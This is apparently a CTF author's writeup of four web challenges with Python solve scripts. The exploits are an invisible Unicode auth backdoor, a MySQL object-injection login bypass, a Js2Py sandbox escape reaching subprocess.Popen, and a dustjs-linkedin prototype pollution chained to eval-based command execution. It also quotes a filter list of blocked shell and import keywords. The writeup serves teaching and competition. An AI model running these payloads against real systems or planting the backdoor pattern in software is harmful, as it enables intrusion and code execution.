Challenge the Cyber 2026 - Authored 4 Web Challenges

April 20, 2026

For Challenge the Cyber 2026 I contributed four web challenges, each built on top of research I had been sitting on: a unicode backdoor, a prepared statement bypass, a Js2Py sandbox escape that slipped past a freshly merged patch, and a dustjs-linkedin prototype pollution 0-day with an app-specific eval sink as the second stage. Below is a short writeup of each, followed by the solve script.

1. bugfiller (medium)

The challenge shipped a BugHunt Node.js API with three users (admin, developer, triage) and a classified flag guarded behind the admin role. Passwords are SHA-256 hashed, and the admin hash is not in any wordlist so cracking it is a rabbit hole. developer:password does log in but that role never reaches the flag branch.

The trick lives in the /api/login handler. The destructuring looks harmless:

const { username, password,  } = req.body;

That third identifier is not whitespace. It is a HANGUL FILLER (U+3164), a Unicode letter that is a valid JS identifier but renders invisibly. If the request body includes a key encoded as \u3164, it flows into the login check as an extra "valid hash" candidate:

const validHashes = [user.password];
if () validHashes.push(sha256());
if (!validHashes.includes(hash)) { ... }

So the attacker supplies any password and the same string under the invisible key. The server hashes both, one compares against itself, and auth passes for any user including admin. This is the backdoor pattern I wrote about in Creating an Invisible Unicode Hangul Filler Backdoor; here it is disguised inside real-looking auth code.

#!/usr/bin/env python3
import requests, sys
s = requests.Session()
t = sys.argv[1] if len(sys.argv) > 1 else "http://localhost"
s.post(f"{t}/api/login", json={"username": "admin", "password": "ctcallday", "\u3164": "ctcallday"})
print(s.get(f"{t}/api/dashboard").json()["bugs"][0]["title"])

2. prepstmnt (easy)

SQLSquash uses mysqljs/mysql and "prepared statements" for login:

const stmt = "SELECT * FROM users WHERE username = ? AND password = ?";
db.query(stmt, [username, password], ...);

The admin password is a random UUID, so there is no cracking path. But Express' JSON body parser means password does not have to be a string. mysqljs/mysql escapes objects as key = 'value' pairs, and if the value is itself an object, toString() on it turns it into nested SQL. The payload {"password": {"password": 1}} rewrites the query to:

SELECT * FROM users WHERE username = 'admin' AND password = (`password` = 1)

(password = 1) evaluates to 0 or 1 in MySQL, and the outer password = 0 matches when the real password column, compared as a string to integer 1, coerces to 0. Auth bypasses and the dashboard hands over the flag. I published the long version of this in Prepared Statement Bypass in NodeJS MySQL; the challenge is that exact primitive with the RCE tail removed for difficulty.

#!/usr/bin/env python3
import requests, sys
target = sys.argv[1].rstrip("/")
s = requests.Session()
s.post(f"{target}/api/login", json={"username": "admin", "password": {"password": 1}})
print(s.get(f"{target}/api/dashboard").json()["flag"])

3. js2patch (medium)

This one started from a bypass I left in a comment on Js2Py PR #323. The PR patches a classic Js2Py sandbox escape that reached Python internals through a JS bytearray's __getattribute__. The fix blocks bytearray specifically, but not the other JS type Js2Py also maps to a Python bytearray-shaped object: ArrayBuffer. I posted that bypass on the PR; the challenge bakes it in and adds a textual filter on top so subprocess can't appear literally in the source.

The backend runs user JS via js2py.EvalJs().eval(code) inside a subprocess with a timeout, and adds a textual filter:

BLOCKED_SUBSTRINGS = ["pyimport", "py_import", "__builtins__", "os.system", "os.popen", "subprocess", "codecs", "__import__"]
BLOCKED_FUNC_RE = re.compile(r"\b(exec|eval|import|compile|globals|locals|breakpoint)\s*\(", re.IGNORECASE)

So subprocess is banned as a substring, and so are the usual suspects. ArrayBuffer is not. From an ArrayBuffer, grab __getattribute__, pivot to __class__.__base__ to land on Python's object, walk __subclasses__() until you find subprocess.Popen, and call it. The substring filter is evaded by concatenating "sub" + "process" at runtime so the literal subprocess never appears in source.

#!/usr/bin/env python3
import requests, sys
TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://localhost"
PAYLOAD = r"""
let a = new ArrayBuffer()
let ga = a.__getattribute__
let obj = ga("__class__").__base__

var target_mod = "sub" + "process"
var target_cls = "Pop" + "en"

function findit(o) {
    let subs = o.__subclasses__()
    for(let i in subs) {
        let item = subs[i]
        if(item.__module__ == target_mod && item.__name__ == target_cls)
            return item
        if(item.__name__ != "type") {
            let r = findit(item)
            if(r) return r
        }
    }
}

findit(obj)("cat /flag.txt", -1, null, -1, -1, -1, null, null, true).communicate()[0]
"""
r = requests.post(f"{TARGET}/api/run", json={"code": PAYLOAD})
print(r.json())

4. linkedbug (hard)

LinkedBug is a dustjs-themed bug tracker. The public user hunter:ctc2026 can render dust templates via /api/bugs/preview. Separately, the app has an admin-only /api/admin/announcements endpoint with a @calc helper that does eval(expr). The core bug here is the dustjs prototype pollution. The @calc helper is not a Dust bug; it is just the challenge's second-stage sink after admin is reached.

The pollution primitive is a 0-day I found in dustjs-linkedin. It reproduces on the latest 3.0.1 and also on older versions; for the prank I shipped the challenge on 2.7.5 so players would go hunting for a patch between 2.7.5 and 3.0.1 that explains the bug (there isn't one, it works on both). Three behaviors cooperate.

1. Context._get does a bare bracket-access lookup

lib/dust.js:395-418, the _get that walks the context stack for a reference name, with no hasOwnProperty guard:

Context.prototype._get = function(cur, down) {
  var ctx = this.stack || {},
      i = 1,
      value, first, len, ctxThis, fn;

  first = down[0];
  len = down.length;

  if (cur && len === 0) {
    ctxThis = ctx;
    ctx = ctx.head;
  } else {
    if (!cur) {
      // Search up the stack for the first value
      while (ctx) {
        if (ctx.isObject) {
          ctxThis = ctx.head;
          value = ctx.head[first];         // <-- line 412
          if (value !== undefined) {
            break;
          }
        }
        ctx = ctx.tail;
      }

first comes straight from the template source. When the template says {#__proto__}, first === "__proto__" and ctx.head["__proto__"] returns Object.prototype, which is defined and stops the upward search.

The public Context.prototype.get does not add any guard here. It just normalizes the path and delegates straight into _get:

Context.prototype.get = function(path, cur) {
  if (typeof path === 'string') {
    if (path[0] === '.') {
      cur = true;
      path = path.substr(1);
    }
    path = path.split('.');
  }
  return this._get(cur, path);
};

The hasOwnProperty loop at lib/dust.js:237-242 belongs to dust.isEmptyObject, not to Context.prototype.get.

2. Chunk.section pushes the resolved value as the new context head

When a section resolves to a non-array truthy value or object, dust pushes it onto the stack and renders the body with that value as context.stack.head:

} else if (elem || elem === 0) {
  if (body) {
    return body(this, context.push(elem));
  }

And Context.prototype.push simply wraps that value in a new Stack node:

Context.prototype.push = function(head, idx, len) {
  if(head === undefined) {
    dust.log("Not pushing an undefined variable onto the context", INFO);
    return this;
  }
  return this.rebase(new Stack(head, this.stack, idx, len));
};

So with _get returning Object.prototype, inside {#__proto__}...{/__proto__} the live head really is Object.prototype.

3. Chunk.section writes loop state onto context.stack.head

lib/dust.js:852-864, array iteration writes $len / $idx directly onto whatever context.stack.head happens to be:

if (dust.isArray(elem)) {
  if (body) {
    len = elem.length;
    if (len > 0) {
      head = context.stack && context.stack.head || {};
      head.$len = len;                   // line 857
      for (i = 0; i < len; i++) {
        head.$idx = i;                   // line 859
        chunk = body(chunk, context.push(elem[i], i, len));
      }
      head.$idx = undefined;             // line 862
      head.$len = undefined;             // line 863
      return chunk;
    }

When an inner {#items} runs while context.stack.head === Object.prototype, those lines read and write Object.prototype.$len and Object.prototype.$idx. The trailing = undefined does not delete anything; it leaves behind an own property whose value is undefined. So from here on, for any plain object in the process:

"$len" in ({})              // true
"$idx" in ({})              // true
typeof ({}).$len            // "undefined"

Trigger

The minimal template that chains (1) + (2) + (3):

{#__proto__}{#items}{.}{/items}{/__proto__}

This only works if items is actually present in the render context. dust.renderSource(template, {}, cb) does not pollute anything, because the inner section never iterates. But dust.renderSource(template, { items: ["x"] }, cb) runs the array branch once, and after that the process-wide Object.prototype has own $len and $idx properties.

Crossing into admin

The challenge's admin gate reads:

function adminAuth(req, res, next) {
  var token = req.cookies.adminToken;
  if (token && (token in adminSessions)
      && typeof adminSessions[token] !== "function"
      && typeof adminSessions[token] !== "object") {
    req.isAdmin = true;
    return next();
  }
  return res.status(403).json({ error: "Admin access required" });
}

Two things line up after pollution:

  • "$len" in adminSessions returns true (prototype chain hit)
  • typeof adminSessions["$len"] is "undefined", which passes both !== "function" and !== "object"

So Cookie: adminToken=$len satisfies the whole check. No admin token was ever issued, and none was needed. This bypass is challenge-specific: the Dust bug gives process-wide prototype pollution, and the app turns that into admin with a bad in check.

App-specific second stage via @calc

The admin-only announcement endpoint registers a helper that evals a template-supplied string:

function registerCalcHelper() {
  dust.helpers.calc = function (chunk, context, bodies, params) {
    var expr = context.resolve(params.expr);
    if (!expr) return chunk.write("0");
    try {
      var result = eval(expr);
      return chunk.write(String(result));
    } catch (e) {
      return chunk.write("[calc error]");
    }
  };
}

With admin reached, the challenge app exposes a trivial code-execution sink. POST to /api/admin/announcements with format: "dust" and:

{@calc expr="require('child_process').execSync('printenv FLAG').toString().trim()"/}

That lands inside eval, shells out, and the response echoes the flag back in the rendered field. The important distinction is that the upstream Dust issue is the prototype pollution primitive. The eval helper is just the challenge's chosen way to turn admin into code execution.

#!/usr/bin/env python3
import requests, sys
target = sys.argv[1] if len(sys.argv) > 1 else "http://localhost"
s = requests.Session()

s.post(f"{target}/api/login", json={"username": "hunter", "password": "ctc2026"})

s.post(f"{target}/api/bugs/preview", json={
    "template": "{#__proto__}{#items}{.}{/items}{/__proto__}",
    "data": {"items": ["pwned"]},
})

s.cookies.set("adminToken", "$len")

payload = '{@calc expr="require(\'child_process\').execSync(\'printenv FLAG\').toString().trim()"/}'
r = s.post(f"{target}/api/admin/announcements",
           json={"title": "ctc2026", "body": payload, "format": "dust"})
print(r.json().get("rendered"))